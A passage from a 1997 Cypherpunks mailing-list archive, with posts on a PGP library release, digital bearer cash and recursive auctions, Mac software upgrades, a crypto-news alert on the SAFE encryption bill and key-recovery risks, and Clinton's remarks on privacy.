   it in the next release;


Where to get PGPlib
===================

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

COPYRIGHT  (yum, yum)
=========

   The library and included applications are all available under
   "Berkely style" copyright terms.  Basically, this means that it is
   FREE for commercial and non-comercial use, and that you can do
   almost anything with the code.  The only thing you can not do is to
   say that you wrote it.  See the file COPYING for details.


Let's go to work
================

   I hope you like it, that you find is useful, that you will find no
   bugs, and that you will provide valuable feedback by means of the
   mailing list.

      Tage Stabell-Kul�
      Castelmaggiore, Italy
      30. May 1997


////        Tage Stabell-Kuloe         | e-mail: tage at ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: latin1
Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface

iQCVAwUBM47QfAMzZ6tx+9RpAQFHJQQAmsrh3sqgeRdOFscXWAb7/bV5ivdgnB4+
IpgGpGPMhNYfAzDJvz2rdvt1Z38NhLjOHOTEl+RhKGUGmc7cDXiaAE38Vh3OJIPu
FijHtMgr++GdxZS5/WvcUxlvvMQjyjDaX84eG0clG1djYizMzR+7HwsIaaJeLtOb
wlBORx01NRo=
=Q5Ed
-----END PGP SIGNATURE-----


------------------------------------------------------------------------------
			  PGP Library Announcements

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jya at pipeline.com  Fri May 30 07:20:39 1997
From: jya at pipeline.com (John Young)
Date: Fri, 30 May 1997 22:20:39 +0800
Subject: The Bible Code
Message-ID: <1.5.4.32.19970530135617.00858be0@pop.pipeline.com>


Published today with great fanfare, "The Bible Code"
describes the fruits of three Israeli mathematicians in
decrypting hidden messages in the Bible by textual
analysis algorithms. Blurbs claim that the work passed
peer review for publication in a math journal a few
years back, was confirmed by "a US Defense Department
code-breaker" and predicted the assassinations of
JFK, RFK, Sadat and Rabin.

The NYT reported on the fanfare a few days ago and
quoted some who claimed that the Israelis' claims were
examined and faulted when first published, that the book's bunkum, 
and that if enough analysis is done on any text, any message 
can be found -- holy writs being perdurable candidates.

Even so, are any here familiar with the Israelis' work?

Better, is this book the first of many to come to celebrate the
cook-ups of codes and cyphers and algorithmic chefs? Is a 
film in the works, or, best, a Seinfeld of 0s and 1s?







From rah at shipwright.com  Fri May 30 07:25:26 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 30 May 1997 22:25:26 +0800
Subject: relevance to Hayek research?
Message-ID: 



--- begin forwarded text


Date: Mon, 19 May 1997 11:21:28 -0400
To: Gregransom at aol.com
From: Robert Hettinga 
Subject: Re: relevance to Hayek research?
Cc: austrianecon at agoric.com, VPostrel at aol.com
Bcc:
X-Attachments:

Greg Ransom just set my subscription to Hayek-L to "review" because of the
DCSB announcement I sent both there and to AustrianEcon. Since I figure
that this posting probably won't see the light of day on Hayek-L, I'll just
send it here to AustrianEcon instead. :-). Of course, I'm not complaining,
really. Greg can do anything he wants with Hayek-L. I mean, he owns it; the
internet being alloidial, and all. But, I thought I'd clear the air here a
little bit about why I thought the June DCSB meeting would be useful to
people both on AustrianEcon, and, even :-), Hayek-L.

At 7:29 pm -0400 on 5/17/97, Gregransom at aol.com wrote:

>  Can you motivate this posting to the Hayek-L list for
> me?

Wow. I feel like a method actor or something. Say hello to Mr. Stanislawski
for me, would you, Greg?

> It is important that all posting to the
> Hayek-L list be relevant to Hayek and his work, appropriate for the research
> community, and not overly promotional or commercial in nature, nor in the
> vein of advertising.

Yeah. Anything that smacks the least bit of capitalism should be strictly
avoided in such an academic setting. Hey, even *I* understand that one.
;-). If it's any consolation, DCSB really *is* just a bunch of people who
get together to have lunch on first Tuesday of the month. It's not like I'm
leveraging the old Harvard Club membership to create a massive personal
fortune, or something. :-).


I do confess that I sent the announcement to both place, and mostly on
impulse, because I thought people in the Austrian economics trade would
want to hear about a relatively unique economic phenomenon on the net,
particularly as it reveals interesting things about how the net's
decreasing the "latency" of money changes, or at least better defines, all
kinds of transaction processes, and, maybe, the underlying economics of
same.


Not only do the type of instantaneous, continuous, digital cash-settled
recursive auctions that Fred Hapgood is going to talk about at the June 3rd
DCSB meeting have the potential to remove any need for copyright law on the
internet, which I'll get to in a moment, but they're the tip of the iceberg
for something waaay bigger.  The technology behind the digital cash these
recursive auctions will eventually use is all by itself a nation-state
killer. In the long run, anyway.



Since the strongest form of David Chaum's "ecash"
 digital bearer certificate transaction
settlement protocol doesn't require book-entries, it doesn't require the
force monopoly of a nation-state to backstop its transaction clearing
process. There's a quote which might be useful here. It's from FC97, the
first conference on Financial Cryptography, which we held in Anguilla this
February and (plug, plug) a conference I had the good fortune think up ;-)
. Doug Barnes, a fellow cypherpunk and now
the Marketing VP for C2Net, a pioneering financial cryptography company in
Berkeley , said, during the legal session, "It's a bad
idea when your internet payment protocol, in one of its terminating steps,
says, 'and then you go to jail'".  See my web page,
, for more details about this kind of stuff if
you're interested. Also, see the debate I had in March with someone from
the American Banking Association about the subject of digital bearer
certificate technology. It's on HotWired's Brain Tennis site,
. Remember that, due to to the structure of
the debate, he got in the last word, though. :-).




Now you can see why the war cry for most of my cypherpunk crypto-anarchist
financial cryptography developer friends is "write software, not laws."
That sounds pretty Hayekian, I'd say.


Last September I was on the law enforcement panel, of all things, at the
Institute, nee Office (go, Newt!), of Technology Assessment's "Symposium on
the Regulation of Digital Cash". This thing was held in a conference room
deep in the bowels of the Capitol Building. Yech. Talk about the lion's
den. Anyway, they had me speaking, dead last in the whole symposium,
immediately after the Justice Department's brand-new, wet-behind-the-ears
and freshly-lobbied-for-by-the-EFF Assistant Attorney General for "computer
crime", whatever that is. And, before him, and more to the point for our
discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
the Financial Crimes Enforcement Network, a truly amazing government agency
which has the ability to tell anyone with a credit card or checking account
not only what his current bank balance is, but, through perfectly legal
"administrative requests" to his bank, what his, say, total clothing and
grocery expenditures were last year, categorized by store. Couple that with
those wonderfully subpoenable scanner cards at your supermarket, and I
would say that Orwell almost has his revenge with us, eaten very cold
indeed, for being so far behind schedule with '1984'.

Anyway, there I was, at ground zero, in the very belly of the beast, and,
if I do say so myself, I was a wonder to behold. I scared them so bad that
the everyone's eyes actually bugged out. Their jaws really bounced on the
floor a few times in true Tex Avery fashion. Proving, once again, that
cartoon physics really is the only kind of science they allow inside the
Washington Beltway.

I told the assembled unholy host of legislative aides, beltway bandits, and
various other corridor-crawling symbionts to Le Infame Moderne that David
Chaum's blind signature patent created  fully anonymous digital cash
(issued by private free banks, mind you), something they vaguely knew
already and were gathered there to try to stop. But, even more frightening
to statists everywhere, it was quite a simple matter, really, to use the
same cryptographic protocol to create anonymously held digital *bearer*
forms of any negotiable instrument you could care to imagine: bonds,
stocks, futures, or any derivative thereof. I told them Perry Metzger's
joke about "Gold Denominated Burmese Opium Futures". That was good for a
titter or two of nervous laughter...

Remember, of course, that, and increasingly so, most assets are financial,
and thus completely convertable to digital bearer form if the transaction
protocol for them turns out to be significantly cheaper than the book-entry
settlement methods of the status quo. After all, it wasn't too long ago in
financial history that paper bearer certificates were the norm. There's a
lot of cultural memory still there. The word "coupon" as a synonym for bond
interest is a perfect case in point.

Then came the real bombshell. The guy from FinCEN absolutely agreed that if
the transaction costs of digital bearer certificates proved to be an order
of magnitude (or, say, three) lower than book entries, which I claim they
will be (without proof, of course, just yet ;-)),  FinCEN would be pretty
much out of business. The whole "crime" of money laundering would become
the equivalent of a "legislated" value for Pi. An example which, I might
add, proves Avery's Laws of Cartoon Physics, um, reigns, in legislative
bodies the world over, and not just inside the Beltway.

"Actually, it's worse than that, ladies and gentlemen," I said, quoting
myself. "Virtually *all* of the current tax infrastructure is based upon
book-entries and the necessity of audit trails to verify tax compliance:
capital gains, income and sales taxes, even import duties. Those audit
trails are there primarily to prevent non-repudiation in the execution of a
transaction protocol, that is, all the double-entry bookeeping between the
buyer and the seller and the financial intermediary(ies) underwriting the
trade. Those audit trails are *not* there to enforce taxes, believe it or
not." They didn't get the point, so I drove it home. I said, "Without the
requirement to prevent non-repudiation (and, I ask you, when was the last
time you had a cash transaction fail to clear?), the marginal cost of tax
compliance will become unsustainable over time. Uncle, and his relations
elsewhere, are all going to have to figure out something else to tax, in
other words. Now, *what*, exactly, do you need all that money for?"

I had all the right people standing up and yelling at me at question time,
so I knew I was on to something. :-).


So, somewhere, Greg, I think Dr. Hayek must be laughing out loud.

That's why this kind of stuff might be important to your readership.


Oh. Yeah. I forgot. The actual topic of this missive. What's a "recursive
auction"?

Jason Cronk, who subscribes to AustrianEcon, by the way, did a talk on them
at the rump-session of, you guessed it, FC97 in Anguilla. Ian Grigg, a
major free banking fan, and also a subscriber, presented an idea which is
exactly the obverse(?) for *his* paper, which was accepted for the main
conference session. Ian's paper dealt with a way to organize the "buy" side
of the same process.  Springer Verlag will be publishing the conference
proceedings sometime this summer, and I'll announce that here, if there's
interest.

Anyway, a recursive auction market, for lack of a better analogy, is kind
of like institutionalized software piracy. I create something new and
digital. I go on the net, and I sell the first copy to the highest bidder.
Then I sell the next copy to the next bid, which, of course, is probably
lower than the first. I keep on doing this until people stop bidding. Of
course, everyone who buys what I'm selling can turn right around and sell
it to someone else in turn, probably at a lower price than they bought it
from me.  This is the only instance I can think of where buying high and
selling low makes you money. ;-). Well, on an item-price basis, anyway.
Obviously, the total return is higher on the sell side than the buy side,
or nobody would be foolish enough to buy anything from you for resale.

Just by forgetting the whole quasimystical issue of "rights" to electronic
intellectual property (which, like the current "intellectual capital"
craze, is, at best, a polite regulatory fiction), timeliness of content is
rewarded, as is novelty, which keeps people who create new stuff right on
cranking it out. A person who's invested in a big switch and bandwidth, or
who has the most valuable use of any other kind, can afford to pay more for
earlier, "fresher", copies of something than someone without the same
net.resources. Because, for instance, in the case of the person with all
the bandwidth, he can resell copies faster than anyone else. A person who
doesn't need something badly can wait a while and pick it up at a lower
price after the initial feeding frenzy's over.  Finally, the person who
continually invents something new gets paid as soon as something he makes
becomes usable to anybody at all. The things which get sold can be anything
from a jotted down brainstorm, to the first draft of a novel, to more
perishible "content", like an hour of teleoperated surgery, say.

So, for works of art, whatever that means, copyright law becomes
superfluous. More to the point, given sufficient attention to such matters,
*all* parties in recursive auction transactions can be completely
anonymous, and everything still works. I mean, when was the last time you
had to produce identification for a cash transaction? Okay, besides at the
bank, and even then for deposits greater than $10k. That's the very
exception which proves the rule, obviously. Cartoon physics comes to
banking. Remember, again, book-entries cause book-entry taxation and
regulations, not vice versa.


Anyway, whether at the increasingly hysterical legislative cartoons, or
because of the now sandy foundations of the nation state, again, Hayek,
somewhere, *must* be laughing, Greg.



Cheers,
Bob Hettinga
Moderator,
The Digital Commerce Society of Boston
(among other things...)



--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Fri May 30 08:29:17 1997
From: tcmay at got.net (Tim May)
Date: Fri, 30 May 1997 23:29:17 +0800
Subject: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: 


At 4:03 AM -0700 5/30/97, frissell at panix.com wrote:

>At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:
>
>>- PGP 5.0 with fancy user interface for Win32 only.
>
>Note that 4.5 is Win/32 only but 5.0 is also available for (the latest)
>Macintosh OS.  [So "latest" that Tim May can't run it.]
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Newsflash: With the prodding and help of Vinnie M., I took a day last week
and installed the latest versions of all of my major applications.  I
successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
from my friendly spy), but have not yet spent time integrating it with
Eudora Pro 3.1, which I understand is possible.

(Please: No helpful suggestions. All of the information I need to do this
is apparently contained in the docs...I just haven taken the time off from
doing other things to do this.)

For those who know and care: System 7.5.3, MT Newwatcher 2.3.1, Eudora Pro
3.1, Netscape Navigator Gold 3.01, and various UUdecoders, helper apps, etc.

To again paraphrase my .sig: "There's something wrong when it takes a day
or more to upgrade apps to be compatible and there's no visible
productivity improvement."

Actually, I used to follow the Macintosh technical stuff more closely. I
read "MacWorld" and "MacUser" cover to cover every month, I sometimes read
"Mac Technical Journal" and other technical sources, I messed around with
ResEdit, had a couple of volumes of "Inside Macintosh," had C and C++
avialable, and all that stuff. Upgrading from one version of a system to
another was not too stressful.

However, in the last several years, probably echoing the path many of you
have taken, my focus has shifted to a more "platform-agnostic" path,
centered on the Net and Web and on writing messages and participating in
Net virtual communities (like Cypherpunks).  I just want my main Internet
apps to keep working as they have, and don't much care about Apple's stuff
like "CyberDog" and PowerQuickToolsPro, or whatever.

Sadly, the Mac OS is now very bloated, and I no longer have the time or
interest to read the details and upgrade the many apps to the minor rev
levels needed to ensure compatibility. (So sue me.) Once a "constellation"
of apps is running smoothly, I am reluctant to change any of them unless
the benefits are very clear.

(And I could see no significant changes in going from System 7.1.3 to
7.5.3...the Mac OS is of course still missing basic OS features such as
multitasking and memory protection.)

Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
pass on this for now.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shabbir at vtw.org  Fri May 30 08:51:59 1997
From: shabbir at vtw.org (Shabbir J. Safdar)
Date: Fri, 30 May 1997 23:51:59 +0800
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301534.LAA05257@panix3.panix.com>


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news at panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo at panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo at panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir at vtw.org will be ignored.

_____________________________________________________________________________
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir at vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger at cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================






From declan at well.com  Fri May 30 08:59:52 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 30 May 1997 23:59:52 +0800
Subject: Clinton on privacy and the Internet
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 29 May 1997 22:04:03 -0500
From: Andrew Shapiro 
To: telstar at wired.com, declan at well.com
Subject: Clinton on privacy

Todd and Declan:

I assume you've both seen this quote about privacy (below) from Clinton's
commencement speech last week.  Declan, you might want to put up on the FC
list -- if you haven't already.

Cheers,
Andrew

***
From: http://www.epic.org/privacy/laws/clinton_speech_5_18_97.html#privacy

              Third, technology should not be used to break down the
              wall of privacy and autonomy free citizens are guaranteed in
a free
              society.  The right to privacy is one of our most cherished
freedoms.
              As society has grown more complex and people have become more
              interconnected in every way, we have had to work even harder to
              respect the privacy, the dignity, the autonomy of each
individual.

                           Today, when marketers can follow every aspect of our
              lives, from the first phone call we make in the morning to
the time
              our security system says we have left the house, to the video
camera
              at the toll booth and the charge slip we have for lunch, we
cannot
              afford to forget this most basic lesson.

                           As the Internet reaches to touch every business
and every
              household and we face the frightening prospect that private
              information -- even medical records -- could be made instantly
              available to the world, we must develop new protections for
privacy in
              the face of new technological reality.  (Applause.)









From shabbir at vtw.org  Fri May 30 09:03:25 1997
From: shabbir at vtw.org (Shabbir J. Safdar)
Date: Sat, 31 May 1997 00:03:25 +0800
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301533.LAA05167@panix3.panix.com>


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news at panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo at panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo at panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir at vtw.org will be ignored.

_____________________________________________________________________________
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir at vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger at cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================






From wombat at mcfeely.bsfs.org  Fri May 30 10:18:43 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Sat, 31 May 1997 01:18:43 +0800
Subject: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: 


> 
>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.
> 

Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
just remembered that he walked. Maybe Bell can beat the wrap with a good 
stiff-arm and a few Hertz commercials ...






From whgiii at amaranth.com  Fri May 30 10:26:08 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 31 May 1997 01:26:08 +0800
Subject: Clinton on privacy and the Internet
In-Reply-To: 
Message-ID: <199705301701.MAA05385@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/30/97 
